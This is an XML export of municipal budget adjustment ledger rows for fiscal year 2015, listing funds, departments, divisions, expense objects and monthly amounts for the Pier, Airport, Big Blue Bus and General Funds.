<row _id="15899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2036.0</total></row>
<row _id="15900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-13664.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13664.0</total></row>
<row _id="15901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1122.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1122.0</total></row>
<row _id="15902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="15903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1578.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1578.0</total></row>
<row _id="15904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5200.0</total></row>
<row _id="15905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6996.0</total></row>
<row _id="15906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>49514.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49514.0</total></row>
<row _id="15907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>203529.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>203529.0</total></row>
<row _id="15908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9407.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9407.0</total></row>
<row _id="15909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="15910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11120.0</total></row>
<row _id="15911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="15912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2112.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2112.0</total></row>
<row _id="15913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6482.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6482.0</total></row>
<row _id="15914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-61134.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-61134.0</total></row>
<row _id="15915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-11650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11650.0</total></row>
<row _id="15916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-10202.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10202.0</total></row>
<row _id="15917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5054.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5054.0</total></row>
<row _id="15918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3595.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3595.0</total></row>
<row _id="15919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-900.0</total></row>
<row _id="15920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-1567.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1567.0</total></row>
<row _id="15921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-43695.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43695.0</total></row>
<row _id="15922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>629.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>629.0</total></row>
<row _id="15923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4952.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4952.0</total></row>
<row _id="15924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4604.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4604.0</total></row>
<row _id="15925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4581.0</total></row>
<row _id="15926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4179.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4179.0</total></row>
<row _id="15927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4493.0</total></row>
<row _id="15928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-18082.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18082.0</total></row>
<row _id="15929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-18690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18690.0</total></row>
<row _id="15930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5005.0</total></row>
<row _id="15931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1160.0</total></row>
<row _id="15932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>672.0</total></row>
<row _id="15933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="15934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2378.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2378.0</total></row>
<row _id="15935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>102000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102000.0</total></row>
<row _id="15936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18200.0</total></row>
<row _id="15937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>88141.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88141.0</total></row>
<row _id="15938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>581.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>581.0</total></row>
<row _id="15939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>561.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>561.0</total></row>
<row _id="15940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-269662.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-269662.0</total></row>
<row _id="15941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555350.0</object><object_description>COMM &amp; TRIBUTE PROGRAM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="15942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
